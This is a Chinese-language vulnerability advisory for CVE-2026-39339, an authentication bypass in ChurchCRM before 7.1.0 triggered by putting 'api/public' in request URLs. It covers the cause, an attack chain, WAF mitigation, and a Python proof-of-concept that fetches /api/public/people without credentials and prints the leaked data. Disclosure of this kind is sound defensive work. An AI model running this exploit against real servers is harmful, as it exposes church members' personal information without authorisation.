IPBUF安全漏洞报告
English
CVE-2026-39339 CVSS 9.1 严重

CVE-2026-39339 ChurchCRM认证绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39339
漏洞类型
认证绕过
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

认证绕过ChurchCRMAPI安全信息泄露严重漏洞

漏洞概述

ChurchCRM 7.1.0 之前的版本中存在一个严重级别的认证绕过漏洞。由于API中间件逻辑缺陷,未认证攻击者只需在请求URL中包含“api/public”字符串,即可绕过安全检查并访问所有受保护的API端点。这将导致教会成员的敏感数据及系统信息完全暴露,严重影响数据的机密性和完整性。建议管理员尽快升级系统以修补此漏洞。

技术细节

该漏洞的根本原因在于ChurchCRM的API中间件在处理请求路径时的逻辑缺陷。具体来说,在`ChurchCRM/Slim/Middleware/AuthMiddleware.php`文件中,认证校验机制存在纰漏,只要攻击者构造的请求URL中包含“api/public”这一特定字符串,中间件就会错误地判断该请求为公开请求,从而跳过身份验证步骤。攻击者利用这一特性,可以直接访问本应受到严格保护的API端点,例如获取成员列表、个人详细信息及系统配置等。鉴于攻击无需用户交互且不需要任何预先权限,远程攻击者可轻易利用此漏洞批量窃取敏感数据,甚至可能对数据完整性造成破坏。官方已在7.1.0版本中重构了相关认证逻辑以修复此问题。

攻击链分析

STEP 1
侦察
攻击者识别出互联网上运行ChurchCRM系统的目标服务器。
STEP 2
漏洞利用
攻击者向目标服务器发送特制的HTTP请求,在URL路径中插入“api/public”字符串(例如:GET /api/public/members),试图访问受保护的API接口。
STEP 3
认证绕过
ChurchCRM的AuthMiddleware中间件检测到URL中包含“api/public”,错误地认为这是公开请求,从而跳过身份验证令牌的检查。
STEP 4
数据泄露
服务器返回本应受保护的敏感数据(如教会成员个人信息、联系方式等),攻击者成功获取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_host = "http://target-churchcrm-instance.com" # The vulnerability allows accessing protected endpoints by including "api/public" in the URL. # For example, accessing /api/users (protected) might be bypassed by requesting /api/public/users # or simply ensuring the string exists in the path depending on the router implementation. # Example endpoint to retrieve sensitive data # In a real scenario, an attacker would enumerate API endpoints. poc_url = f"{target_host}/api/public/people" # Accessing member data without auth headers = { "User-Agent": "CVE-2026-39339-Scanner/1.0", "Accept": "application/json" } try: response = requests.get(poc_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Sensitive Data Leaked:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)或反向代理层面实施访问控制规则,拦截URL路径中异常包含“api/public”的请求,或者暂时限制外部对API接口的访问,仅允许受信任的IP地址连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表